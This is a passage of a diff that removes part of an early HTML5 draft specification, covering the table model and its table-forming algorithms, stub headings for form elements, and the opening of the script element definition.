-   title="">y</var> coordinates are always in the range
-   <span>1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">y</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-   title="">y<sub title="">max</sub></var></span>. If one or both of <var
-   title="">x<sub title="">max</sub></var> and <var title="">y<sub
-   title="">max</sub></var> are zero, then the table is empty (has no slots).
-   Tables correspond to <code><a href="#table0">table</a></code> elements.
-
-  <p>A <dfn id=cell title=concept-cell>cell</dfn> is a set of slots anchored
-   at a slot (<var title="">cell<sub title="">x</sub></var>, <var
-   title="">cell<sub title="">y</sub></var>), and with a particular <var
-   title="">width</var> and <var title="">height</var> such that the cell
-   covers all the slots with coordinates (<var title="">x</var>, <var
-   title="">y</var>) where <span><var title="">cell<sub
-   title="">x</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-   title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">cell<sub
-   title="">x</sub></var>+<var title="">width</var></span> and <span><var
-   title="">cell<sub title="">y</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-   title="">y</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">cell<sub
-   title="">y</sub></var>+<var title="">height</var></span>. Cell can either
-   be <em>data cells</em> or <em>header cells</em>. Data cells correspond to
-   <code><a href="#td0">td</a></code> elements, and have zero or more
-   associated header cells. Header cells correspond to <code><a
-   href="#th0">th</a></code> elements.
-
-  <p>A <dfn id=row title=concept-row>row</dfn> is a complete set of slots
-   from <span><var title="">x</var>=1</span> to <span><var
-   title="">x</var>=<var title="">x<sub title="">max</sub></var></span>, for
-   a particular value of <var title="">y</var>. Rows correspond to <code><a
-   href="#tr0">tr</a></code> elements.
-
-  <p>A <dfn id=column title=concept-column>column</dfn> is a complete set of
-   slots from <span><var title="">y</var>=1</span> to <span><var
-   title="">y</var>=<var title="">y<sub title="">max</sub></var></span>, for
-   a particular value of <var title="">x</var>. Columns can correspond to
-   <code><a href="#col0">col</a></code> elements, but in the absense of
-   <code><a href="#col0">col</a></code> elements are implied.
-
-  <p>A <dfn id=row-group title=concept-row-group>row group</dfn> is a set of
-   <a href="#row" title=concept-row>rows</a> anchored at a slot (1, <var
-   title="">group<sub title="">y</sub></var>) with a particular <var
-   title="">height</var> such that the row group covers all the slots with
-   coordinates (<var title="">x</var>, <var title="">y</var>) where
-   <span>1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var
-   title="">x<sub title="">max</sub></var></span> and <span><var
-   title="">group<sub title="">y</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-   title="">y</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">group<sub
-   title="">y</sub></var>+<var title="">height</var></span>. Row groups
-   correspond to <code><a href="#tbody0">tbody</a></code>, <code><a
-   href="#thead1">thead</a></code>, and <code><a
-   href="#tfoot1">tfoot</a></code> elements. Not every row is necessarily in
-   a row group.
-
-  <p>A <dfn id=column0 title=concept-column-group>column group</dfn> is a set
-   of <a href="#column" title=concept-column>columns</a> anchored at a slot
-   (<var title="">group<sub title="">x</sub></var>, 1) with a particular <var
-   title="">width</var> such that the column group covers all the slots with
-   coordinates (<var title="">x</var>, <var title="">y</var>) where
-   <span><var title="">group<sub title="">x</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-   title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">group<sub
-   title="">x</sub></var>+<var title="">width</var></span> and
-   <span>1AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">y</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var
-   title="">y<sub title="">max</sub></var></span>. Column groups correspond
-   to <code><a href="#colgroup0">colgroup</a></code> elements. Not every
-   column is necessarily in a column group.
-
-  <p><a href="#row-group" title=concept-row-group>Row groups</a> cannot
-   overlap each other. Similarly, <a href="#column0"
-   title=concept-column-group>column groups</a> cannot overlap each other.
-
-  <p>A <a href="#cell" title=concept-cell>cell</a> cannot covers slots that
-   are from two or more <a href="#row-group" title=concept-row-group>row
-   groups</a> or two or more <a href="#column0"
-   title=concept-column-group>column groups</a> AMPERSANDmdash; all the slots that
-   form part of one cell are part of either zero or one <a href="#row-group"
-   title=concept-row-group>row groups</a> and either zero or one <a
-   href="#column0" title=concept-column-group>column groups</a>.
-
-  <p>In addition to <a href="#cell" title=concept-cell>cells</a>, <a
-   href="#column" title=concept-column>columns</a>, <a href="#row"
-   title=concept-row>rows</a>, <a href="#row-group"
-   title=concept-row-group>row groups</a>, and <a href="#column0"
-   title=concept-column-group>column groups</a>, <a href="#table2"
-   title=concept-table>tables</a> can have a <code><a
-   href="#caption1">caption</a></code> element associated with them. This
-   gives the table a heading, or legend.
-
-  <p>A <dfn id=table3>table model error</dfn> is an error with the data
-   represented by <code><a href="#table0">table</a></code> elements and their
-   descendants. Documents must not have table model errors.
-
-  <h5 id=forming><span class=secno>3.15.11.1. </span>Forming a table</h5>
-
-  <p>To determine which elements correspond to which slots in a <a
-   href="#table2" title=concept-table>table</a> associated with a <code><a
-   href="#table0">table</a></code> element, to determine the dimensions of
-   the table (<var title="">x<sub title="">max</sub></var> and <var
-   title="">y<sub title="">max</sub></var>), and to determine if there are
-   any <a href="#table3" title="table model error">table model errors</a>,
-   user agents must use the following algorithm:
-
-  <ol>
-   <li>
-    <p>Let <var title="">x<sub title="">max</sub></var> be zero.</p>
-
-   <li>
-    <p>Let <var title="">y<sub title="">max</sub></var> be zero.</p>
-
-   <li>
-    <p>Let <var title="">the table</var> be the <a href="#table2"
-     title=concept-table>table</a> represented by the <code><a
-     href="#table0">table</a></code> element. The <var title="">x<sub
-     title="">max</sub></var> and <var title="">y<sub
-     title="">max</sub></var> variables give <var title="">the table</var>'s
-     extent. <var title="">The table</var> is initially empty.</p>
-
-   <li>
-    <p>If the <code><a href="#table0">table</a></code> element has no table
-     children, then return <var title="">the table</var> (which will be
-     empty), and abort these steps.</p>
-
-   <li>
-    <p>Let the <var title="">current element</var> be the first element child
-     of the <code><a href="#table0">table</a></code> element.</p>
-
-    <p>If a step in this algorithm ever requires the <var title="">current
-     element</var> to be advanced to the next child of the <code><a
-     href="#table0">table</a></code> when there is no such next child, then
-     the algorithm must be aborted at that point and the algorithm must
-     return <var title="">the table</var>.</p>
-
-   <li>
-    <p>While the <var title="">current element</var> is not one of the
-     following elements, advance the <var title="">current element</var> to
-     the next child of the <code><a href="#table0">table</a></code>:</p>
-
-    <ul class=brief>
-     <li><code><a href="#caption1">caption</a></code>
-
-     <li><code><a href="#colgroup0">colgroup</a></code>
-
-     <li><code><a href="#thead1">thead</a></code>
-
-     <li><code><a href="#tbody0">tbody</a></code>
-
-     <li><code><a href="#tfoot1">tfoot</a></code>
-
-     <li><code><a href="#tr0">tr</a></code>
-    </ul>
-
-   <li>
-    <p>If the <var title="">current element</var> is a <code><a
-     href="#caption1">caption</a></code>, then that is the <code><a
-     href="#caption1">caption</a></code> element associated with <var
-     title="">the table</var>. Otherwise, it has no associated <code><a
-     href="#caption1">caption</a></code> element.</p>
-
-   <li>
-    <p>If the <var title="">current element</var> is a <code><a
-     href="#caption1">caption</a></code>, then while the <var
-     title="">current element</var> is not one of the following elements,
-     advance the <var title="">current element</var> to the next child of the
-     <code><a href="#table0">table</a></code>:</p>
-
-    <ul class=brief>
-     <li><code><a href="#colgroup0">colgroup</a></code>
-
-     <li><code><a href="#thead1">thead</a></code>
-
-     <li><code><a href="#tbody0">tbody</a></code>
-
-     <li><code><a href="#tfoot1">tfoot</a></code>
-
-     <li><code><a href="#tr0">tr</a></code>
-    </ul>
-
-    <p>(Otherwise, the <var title="">current element</var> will already be
-     one of those elements.)</p>
-
-   <li>
-    <p>If the <var title="">current element</var> is a <code><a
-     href="#colgroup0">colgroup</a></code>, follow these substeps:</p>
-
-    <ol>
-     <li>
-      <p>Let <var title="">next column</var> be 1.</p>
-
-     <li>
-      <p><em>Column groups.</em> Process the <var title="">current
-       element</var> according to the appropriate one of the following two
-       cases:</p>
-
-      <dl class=switch>
-       <dt>If the <var title="">current element</var> has any <code><a
-        href="#col0">col</a></code> element children
-
-       <dd>
-        <p>Follow these steps:</p>
-
-        <ol>
-         <li>
-          <p>Let <var title="">x<sub title="">start</sub></var> have the
-           value <span><var title="">x<sub title="">max</sub></var>+1</span>.</p>
-
-         <li>
-          <p>Let the <var title="">current column</var> be the first <code><a
-           href="#col0">col</a></code> element child of the <code><a
-           href="#colgroup0">colgroup</a></code> element.</p>
-
-         <li>
-          <p><em>Columns.</em> If the <var title="">current column</var>
-           <code><a href="#col0">col</a></code> element has a <code
-           title=attr-col-span><a href="#span3">span</a></code> attribute,
-           then parse its value using the <a href="#rules">rules for parsing
-           non-negative integers</a>.</p>
-
-          <p>If the result of parsing the value is not an error or zero, then
-           let <var title="">span</var> be that value.</p>
-
-          <p>Otherwise, if the <code><a href="#col0">col</a></code> element
-           has no <code title=attr-col-span><a href="#span3">span</a></code>
-           attribute, or if trying to parse the attribute's value resulted in
-           an error, then let <var title="">span</var> be 1.</p>
-
-         <li>
-          <p>Increase <var title="">x<sub title="">max</sub></var> by <var
-           title="">span</var>.</p>
-
-         <li>
-          <p>Let the last <var title="">span</var> <a href="#column"
-           title=concept-column>columns</a> in <var title="">the table</var>
-           correspond to the <var title="">current column</var> <code><a
-           href="#col0">col</a></code> element.</p>
-
-         <li>
-          <p>If <var title="">current column</var> is not the last <code><a
-           href="#col0">col</a></code> element child of the <code><a
-           href="#colgroup0">colgroup</a></code> element, then let the <var
-           title="">current column</var> be the next <code><a
-           href="#col0">col</a></code> element child of the <code><a
-           href="#colgroup0">colgroup</a></code> element, and return to the
-           third step of this innermost group of steps (columns).</p>
-
-         <li>
-          <p>Let all the last <a href="#column"
-           title=concept-column>columns</a> in <var title="">the table</var>
-           from <span>x=<var title="">x<sub title="">start</sub></var></span>
-           to <span>x=<var title="">x<sub title="">max</sub></var></span>
-           form a new <a href="#column0" title=concept-column-group>column
-           group</a>, anchored at the slot (<var title="">x<sub
-           title="">start</sub></var>, 1), with width <var title="">x<sub
-           title="">max</sub></var>-<var title="">x<sub
-           title="">start</sub></var>-1, corresponding to the <code><a
-           href="#colgroup0">colgroup</a></code> element.</p>
-        </ol>
-
-       <dt>If the <var title="">current element</var> has no <code><a
-        href="#col0">col</a></code> element children
-
-       <dd>
-        <ol>
-         <li>
-          <p>If the <code><a href="#colgroup0">colgroup</a></code> element
-           has a <code title=attr-colgroup-span><a
-           href="#span1">span</a></code> attribute, then parse its value
-           using the <a href="#rules">rules for parsing non-negative
-           integers</a>.</p>
-
-          <p>If the result of parsing the value is not an error or zero, then
-           let <var title="">span</var> be that value.</p>
-
-          <p>Otherwise, if the <code><a href="#colgroup0">colgroup</a></code>
-           element has no <code title=attr-col-span><a
-           href="#span3">span</a></code> attribute, or if trying to parse the
-           attribute's value resulted in an error, then let <var
-           title="">span</var> be 1.</p>
-
-         <li>
-          <p>Increase <var title="">x<sub title="">max</sub></var> by <var
-           title="">span</var>.</p>
-
-         <li>
-          <p>Let the last <var title="">span</var> <a href="#column"
-           title=concept-column>columns</a> in <var title="">the table</var>
-           form a new <a href="#column0" title=concept-column-group>column
-           group</a>, anchored at the slot (<var title="">x<sub
-           title="">max</sub></var>-<var title="">span</var>+1, 1), with
-           width <var title="">span</var>, corresponding to the <code><a
-           href="#colgroup0">colgroup</a></code> element.</p>
-        </ol>
-      </dl>
-
-     <li>
-      <p>Advance the <var title="">current element</var> to the next child of
-       the <code><a href="#table0">table</a></code>.</p>
-
-     <li>
-      <p>While the <var title="">current element</var> is not one of the
-       following elements, advance the <var title="">current element</var> to
-       the next child of the <code><a href="#table0">table</a></code>:</p>
-
-      <ul class=brief>
-       <li><code><a href="#colgroup0">colgroup</a></code>
-
-       <li><code><a href="#thead1">thead</a></code>
-
-       <li><code><a href="#tbody0">tbody</a></code>
-
-       <li><code><a href="#tfoot1">tfoot</a></code>
-
-       <li><code><a href="#tr0">tr</a></code>
-      </ul>
-
-     <li>
-      <p>If the <var title="">current element</var> is a <code><a
-       href="#colgroup0">colgroup</a></code> element, jump to step 2 in these
-       substeps (column groups).</p>
-    </ol>
-
-   <li>
-    <p>Let <var title="">y<sub title="">current</sub></var> be zero. When the
-     algorithm is aborted, if <var title="">y<sub
-     title="">current</sub></var> does not equal <var title="">y<sub
-     title="">max</sub></var>, then that is a <a href="#table3">table model
-     error</a>.</p>
-
-   <li>
-    <p>Let the <var title="">list of downward-growing cells</var> be an empty
-     list.</p>
-
-   <li>
-    <p><em>Rows.</em> While the <var title="">current element</var> is not
-     one of the following elements, advance the <var title="">current
-     element</var> to the next child of the <code><a
-     href="#table0">table</a></code>:</p>
-
-    <ul class=brief>
-     <li><code><a href="#thead1">thead</a></code>
-
-     <li><code><a href="#tbody0">tbody</a></code>
-
-     <li><code><a href="#tfoot1">tfoot</a></code>
-
-     <li><code><a href="#tr0">tr</a></code>
-    </ul>
-
-   <li>
-    <p>If the <var title="">current element</var> is a <code><a
-     href="#tr0">tr</a></code>, then run the <a href="#algorithm0">algorithm
-     for processing rows</a> (defined below), then return to the previous
-     step (rows).</p>
-
-   <li>
-    <p>Otherwise, run the <a href="#algorithm">algorithm for ending a row
-     group</a>.</p>
-
-   <li>
-    <p>Let <var title="">y<sub title="">start</sub></var> have the value
-     <span><var title="">y<sub title="">max</sub></var>+1</span>.</p>
-
-   <li>
-    <p>For each <code><a href="#tr0">tr</a></code> element that is a child of
-     the <var title="">current element</var>, in tree order, run the <a
-     href="#algorithm0">algorithm for processing rows</a> (defined below).</p>
-
-   <li> <!-- if we added any rows, make them part of a row group -->
-    <p>If <span><var title="">y<sub
-     title="">max</sub></var>AMPERSANDnbsp;AMPERSANDge;AMPERSANDnbsp;<var title="">y<sub
-     title="">start</sub></var></span>, then let all the last <a href="#row"
-     title=concept-row>rows</a> in <var title="">the table</var> from
-     <span>y=<var title="">y<sub title="">start</sub></var></span> to
-     <span>y=<var title="">y<sub title="">max</sub></var></span> form a new
-     <a href="#row-group" title=concept-row-group>row group</a>, anchored at
-     the slot with coordinate (1, <var title="">y<sub
-     title="">start</sub></var>), with height <var title="">y<sub
-     title="">max</sub></var>-<var title="">y<sub
-     title="">start</sub></var>+1, corresponding to the <var title="">current
-     element</var>.</p>
-
-   <li>
-    <p>Run the <a href="#algorithm">algorithm for ending a row group</a>
-     again.</p>
-
-   <li>
-    <p>Return to step 12 (rows).</p>
-  </ol>
-
-  <p>The <dfn id=algorithm>algorithm for ending a row group</dfn>, which is
-   invoked by the set of steps above when starting and eding a block of rows,
-   is:
-
-  <ol>
-   <li>
-    <p>If <var title="">y<sub title="">current</sub></var> is less than <var
-     title="">y<sub title="">max</sub></var>, then this is a <a
-     href="#table3">table model error</a>.</p>
-
-   <li>
-    <p>While <var title="">y<sub title="">current</sub></var> is less than
-     <var title="">y<sub title="">max</sub></var>, follow these steps:</p>
-
-    <ol>
-     <li>
-      <p>Increase <var title="">y<sub title="">current</sub></var> by 1.</p>
-
-     <li>
-      <p>Run the <a href="#algorithm1">algorithm for growing downward-growing
-       cells</a>.</p>
-    </ol>
-
-   <li>
-    <p>Empty the <var title="">list of downward-growing cells</var>.</p>
-  </ol>
-
-  <p>The <dfn id=algorithm0>algorithm for processing rows</dfn>, which is
-   invoked by the set of steps above for processing <code><a
-   href="#tr0">tr</a></code> elements, is:
-
-  <ol>
-   <li>
-    <p>Increase <var title="">y<sub title="">current</sub></var> by 1.</p>
-    <!-- ymax is increased below once we know cell dimensions -->
-
-   <li>
-    <p>Run the <a href="#algorithm1">algorithm for growing downward-growing
-     cells</a>.</p>
-
-   <li>
-    <p>Let <var title="">x<sub title="">current</sub></var> be 1.</p>
-    <!-- xmax is increased below once we know cell dimensions -->
-
-   <li>
-    <p>If the <code><a href="#tr0">tr</a></code> element being processed
-     contains no <code><a href="#td0">td</a></code> or <code><a
-     href="#th0">th</a></code> elements, then abort this set of steps and
-     return to the algorithm above.</p>
-
-   <li>
-    <p>Let <var title="">current cell</var> be the first <code><a
-     href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element
-     in the <code><a href="#tr0">tr</a></code> element being processed.</p>
-
-   <li>
-    <p><em>Cells.</em> While <var title="">x<sub title="">current</sub></var>
-     is less than or equal to <var title="">x<sub title="">max</sub></var>
-     and the slot with coordinate (<var title="">x<sub
-     title="">current</sub></var>, <var title="">y<sub
-     title="">current</sub></var>) already has a cell assigned to it,
-     increase <var title="">x<sub title="">current</sub></var> by 1.</p>
-
-   <li>
-    <p>If <var title="">x<sub title="">current</sub></var> is greater than
-     <var title="">x<sub title="">max</sub></var>, increase <var
-     title="">x<sub title="">max</sub></var> by 1 (which will make them
-     equal).</p>
-
-   <li>
-    <p>If the <var title="">current cell</var> has a <code
-     title="">colspan</code> attribute, then <span title="rules for parsing
-     non-negative integer values">parse that attribute's value</span>, and
-     let <var title="">colspan</var> be the result.</p>
-
-    <p>If parsing that value failed, or returned zero, or if the attribute is
-     absent, then let <var title="">colspan</var> be 1, instead.</p>
-
-   <li>
-    <p>If the <var title="">current cell</var> has a <code
-     title="">rowspan</code> attribute, then <span title="rules for parsing
-     non-negative integer values">parse that attribute's value</span>, and
-     let <var title="">rowspan</var> be the result.</p>
-
-    <p>If parsing that value failed or if the attribute is absent, then let
-     <var title="">rowspan</var> be 1, instead.</p>
-
-   <li>
-    <p>If <var title="">rowspan</var> is zero, then let <var title="">cell
-     grows downward</var> be true, and set <var title="">rowspan</var> to 1.
-     Otherwise, let <var title="">cell grows downward</var> be false.</p>
-
-   <li>
-    <p>If <span><var title="">x<sub
-     title="">max</sub></var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">x<sub
-     title="">current</sub></var>+<var title="">colspan</var>-1</span>, then
-     let <var title="">x<sub title="">max</sub></var> be <var title="">x<sub
-     title="">current</sub></var>+<var title="">colspan</var>-1.</p>
-
-   <li>
-    <p>If <span><var title="">y<sub
-     title="">max</sub></var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">y<sub
-     title="">current</sub></var>+<var title="">rowspan</var>-1</span>, then
-     let <var title="">y<sub title="">max</sub></var> be <var title="">y<sub
-     title="">current</sub></var>+<var title="">rowspan</var>-1.</p>
-
-   <li>
-    <p>Let the slots with coordinates (<var title="">x</var>, <var
-     title="">y</var>) such that <span><var title="">x<sub
-     title="">current</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-     title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">x<sub
-     title="">current</sub></var>+<var title="">colspan</var></span> and
-     <span><var title="">y<sub
-     title="">current</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-     title="">y</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">y<sub
-     title="">current</sub></var>+<var title="">rowspan</var></span> be
-     covered by a new <a href="#cell" title=concept-cell>cell</a> <var
-     title="">c</var>, anchored at (<var title="">x<sub
-     title="">current</sub></var>, <var title="">y<sub
-     title="">current</sub></var>), which has width <var
-     title="">colspan</var> and height <var title="">rowspan</var>,
-     corresponding to the <var title="">current cell</var> element.</p>
-
-    <p>If the <var title="">current cell</var> element is a <code><a
-     href="#th0">th</a></code> element, let this new cell <var
-     title="">c</var> be a header cell; otherwise, let it be a data cell. To
-     establish what header cells apply to a data cell, use the <a
-     href="#algorithm2">algorithm for assigning header cells to data
-     cells</a> described in the next section.</p>
-
-    <p>If any of the slots involved already had a <a href="#cell"
-     title=concept-cell>cell</a> covering them, then this is a <a
-     href="#table3">table model error</a>. Those slots now have two cells
-     overlapping.</p>
-
-   <li>
-    <p>If <var title="">cell grows downward</var> is true, then add the tuple
-     {<var title="">c</var>, <var title="">x<sub
-     title="">current</sub></var>, <var title="">colspan</var>} to the <var
-     title="">list of downward-growing cells</var>.</p>
-
-   <li>
-    <p>Increase <var title="">x<sub title="">current</sub></var> by <var
-     title="">colspan</var>.</p>
-
-   <li>
-    <p>If <var title="">current cell</var> is the last <code><a
-     href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element
-     in the <code><a href="#tr0">tr</a></code> element being processed, then
-     abort this set of steps and return to the algorithm above.</p>
-
-   <li>
-    <p>Let <var title="">current cell</var> be the next <code><a
-     href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element
-     in the <code><a href="#tr0">tr</a></code> element being processed.</p>
-
-   <li>
-    <p>Return to step 5 (cells).</p>
-  </ol>
-
-  <p>The <dfn id=algorithm1>algorithm for growing downward-growing
-   cells</dfn>, used when adding a new row, is as follows:
-
-  <ol>
-   <li>
-    <p>If the <var title="">list of downward-growing cells</var> is empty, do
-     nothing. Abort these steps; return to the step that invoked this
-     algorithm.</p>
-
-   <li>
-    <p>Otherwise, if <var title="">y<sub title="">max</sub></var> is less
-     than <var title="">y<sub title="">current</sub></var>, then increase
-     <var title="">y<sub title="">max</sub></var> by 1 (this will make it
-     equal to <var title="">y<sub title="">current</sub></var>).</p>
-
-   <li>
-    <p>For each {<var title="">cell</var>, <var title="">cell<sub
-     title="">x</sub></var>, <var title="">width</var>} tuple in the <var
-     title="">list of downward-growing cells</var>, extend the <a
-     href="#cell" title=concept-cell>cell</a> <var title="">cell</var> so
-     that it also covers the slots with coordinates (<var title="">x</var>,
-     <var title="">y<sub title="">current</sub></var>), where <span><var
-     title="">cell<sub title="">x</sub></var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var
-     title="">x</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;<var title="">cell<sub
-     title="">x</sub></var>+<var title="">width</var>-1</span>.</p>
-  </ol>
-
-  <p>If, after establishing which elements correspond to which slots, there
-   exists a <a href="#column" title=concept-column>column</a> in the <a
-   href="#table2" title=concept-table>table</a> containing only <span
-   title=concept-slot>slots</span> that do not have a <a href="#cell"
-   title=concept-cell>cell</a> anchored to them, then this is a <a
-   href="#table3">table model error</a>.
-
-  <h5 id=header-and-data-cell-semantics><span class=secno>3.15.11.2.
-   </span>Forming relationships between data cells and header cells</h5>
-
-  <p>The <dfn id=algorithm2>algorithm for assigning header cells to data
-   cells</dfn> is as follows:
-
-  <ol>
-   <li>
-    <p class=big-issue>...</p>
-  </ol>
-
-  <h3 id=forms><span class=secno>3.16. </span>Forms</h3>
-  <!-- XXXX everything in WF2 -->
-
-  <p class=big-issue>This section will contain definitions of the
-   <code>form</code> element and so forth.
-
-  <p class=big-issue>This section will be a rewrite of the HTML4 Forms and
-   Web Forms 2.0 specifications, with hopefully no normative changes.</p>
-  <!-- From HTML4: BUTTON FIELDSET FORM INPUT LABEL OPTGROUP OPTION
-  SELECT TEXTAREA -->
-
-  <h4 id=the-form><span class=secno>3.16.1. </span>The <code>form</code>
-   element</h4>
-
-  <h4 id=the-fieldset><span class=secno>3.16.2. </span>The
-   <code>fieldset</code> element</h4>
-
-  <h4 id=the-input><span class=secno>3.16.3. </span>The <code>input</code>
-   element</h4>
-
-  <h4 id=the-button><span class=secno>3.16.4. </span>The <code>button</code>
-   element</h4>
-
-  <h4 id=the-label><span class=secno>3.16.5. </span>The <code>label</code>
-   element</h4>
-
-  <h4 id=the-select><span class=secno>3.16.6. </span>The <code>select</code>
-   element</h4>
-
-  <h4 id=the-datalist><span class=secno>3.16.7. </span>The
-   <code>datalist</code> element</h4>
-
-  <h4 id=the-optgroup><span class=secno>3.16.8. </span>The
-   <code>optgroup</code> element</h4>
-
-  <h4 id=the-option><span class=secno>3.16.9. </span>The <code>option</code>
-   element</h4>
-
-  <h4 id=the-textarea><span class=secno>3.16.10. </span>The
-   <code>textarea</code> element</h4>
-
-  <h4 id=the-output><span class=secno>3.16.11. </span>The <code>output</code>
-   element</h4>
-
-  <h4 id=processing0><span class=secno>3.16.12. </span>Processing model</h4>
-
-  <p class=big-issue>See <a
-   href="http://whatwg.org/specs/web-forms/current-work/#extend-form-controls">WF2</a>
-   for now
-
-  <h5 id=form-submission><span class=secno>3.16.12.1. </span>Form submission</h5>
-
-  <p class=big-issue>See <a
-   href="http://whatwg.org/specs/web-forms/current-work/#form-submission">WF2</a>
-   for now
-
-  <h3 id=scripting><span class=secno>3.17. </span>Scripting</h3>
-
-  <h4 id=script><span class=secno>3.17.1. </span>The <dfn
-   id=script2><code>script</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>, <a href="#strictly">strictly inline-level content</a>, and <a
-   href="#metadata" title="metadata elements">metadata element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>In a <code><a href="#head0">head</a></code> element.
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dd>Where <a href="#inline-level1">inline-level content</a> is expected.
-
-   <dt>Content model:
-
-   <dd>If there is no <code title=attr-script-src><a
-    href="#src5">src</a></code> attribute, depends on the value of the <code
-    title=attr-script-type><a href="#type9">type</a></code> attribute.
-
-   <dd>If there <em>is</em> a <code title=attr-script-src><a
-    href="#src5">src</a></code> attribute, the element must be empty.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-script-src><a href="#src5">src</a></code>
-
-   <dd><code title=attr-script-defer>defer</code> (if the <code
-    title=attr-script-src><a href="#src5">src</a></code> attribute is
-    present)
-
-   <dd><code title=attr-script-async>async</code> (if the <code
-    title=attr-script-src><a href="#src5">src</a></code> attribute is
-    present)
-
-   <dd><code title=attr-script-type><a href="#type9">type</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlscriptelement>HTMLScriptElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <code title=dom-script-src><a href="#src6">src</a></code>;
-           attribute boolean <code title=dom-script-defer><a href="#defer">defer</a></code>;
-           attribute boolean <code title=dom-script-async><a href="#async">async</a></code>;
-           attribute DOMString <code title=dom-script-type><a href="#type10">type</a></code>;
-           attribute DOMString <code title=dom-script-text><a href="#text0">text</a></code>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#script2">script</a></code> element allows authors to
-   include dynamic script in their documents.
-
-  <p>When the <dfn id=src5 title=attr-script-src><code>src</code></dfn>
-   attribute is set, the <code><a href="#script2">script</a></code> element
-   refers to an external file. The value of the attribute must be a URI.
-
-  <p>If the <code title=attr-script-src><a href="#src5">src</a></code>
-   attribute is not set, then the script is given by the contents of the
-   element.
-
-  <p>The language of the script is given by the <dfn id=type9
-   title=attr-script-type><code>type</code></dfn> attribute. The value must
-   be a valid MIME type, optionally with parameters. <a
-   href="#refsRFC2046">[RFC2046]</a>
-
-  <p class=big-issue>Define defer/async attributes for authors.
-
-  <p class=big-issue>Do we really want this attribute to be called async=""?
-   Anyone have a better name?
-
-  <p>Changing the <code title=attr-script-src><a href="#src5">src</a></code>,
-   <code title=attr-script-type><a href="#type9">type</a></code>, <code
-   title=attr-script-defer>defer</code> and <code
-   title=attr-script-async>async</code> attributes dynamically has no direct
-   effect; these attribute are only used at specific times described below
-   (namely, when the element is inserted into the document).
-
-  <p><code><a href="#script2">script</a></code> elements have two associated
-   pieces of metadata. The first is a flag indicating whether or not the
-   script block has been <dfn id=already>"already executed"</dfn>. Initially,
-   <code><a href="#script2">script</a></code> elements must have this flag
-   unset (script blocks, when created, are not "already executed"). When a
-   <code><a href="#script2">script</a></code> element is cloned, the "already
-   executed" flag, if set, must be propagated to the clone when it is
-   created. The second is a flag indicating whether the element was <dfn
-   id=parser-inserted>"parser-inserted"</dfn>. This flag is set by the <a
-   href="#html-0">HTML parser</a> and is used to handle <code
-   title=dom-document-write-HTML><a
-   href="#document.write0">document.write()</a></code> calls.
-
-  <p><dfn id=when-a title="running a script">When a script block is inserted
-   into a document</dfn>: When a <code><a href="#script2">script</a></code>
-   element whose <a href="#already">"already executed"</a> flag is not set is
-   <span>inserted into a document</span><!-- XXX xref -->, the user agent
-   must act as follows:
-
-  <ol>
-   <li>
-    <p>The user agent must set the element's <a href="#already">"already
-     executed"</a> flag.</p>
-
-   <li>
-    <p class=big-issue>How to handle the <code title="">type</code> and <code
-     title="">language</code> attributes should be defined here, probably
-     with reference to the next section.</p>
-
-   <li>
-    <p>If the element has a <code title=attr-script-src><a
-     href="#src5">src</a></code> attribute, then a load for the specified
-     content must be started.</p>
-
-    <p class=note>Later, once the load has completed, the user agent will
-     have to complete <a href="#when-a0" title="when a script completes
-     loading">the steps described below</a>.</p>
-
-    <p>For performance reasons, user agents may start loading the script as
-     soon as the attribute is set, instead, in the hope that the element will
-     be inserted into the document. Either way, once the element is inserted
-     into the document, the load must have started. If the UA performs such
-     prefetching, but the element is never inserted in the document, or the
-     <code title=attr-script-src><a href="#src5">src</a></code> attribute is
-     dynamically changed, then the user agent will not execute the script,
-     and the load will have been effectively wasted.</p>
-
-   <li>
-    <p>Then, the first of the following options that describes the situation
-     must be followed:</p>
-
-    <dl class=switch>
-     <dt>If the document is still being parsed, and the element has a <code
-      title=attr-script-defer>defer</code> attribute
-
-     <dd>The element must be added to the end of the <a href="#list-of">list
-      of scripts that will execute when the document has finished
-      parsing</a>. The user agent must begin <a href="#when-a0" title="when a
-      script completes loading">the next set of steps</a> when the script is
-      ready. <span class=big-issue>This isn't compatible with IE for inline
-      deferred scripts, but then what IE does is pretty hard to pin down
-      exactly. Do we want to keep this like it is? Be more compatible?</span>
-      <!--XXX  
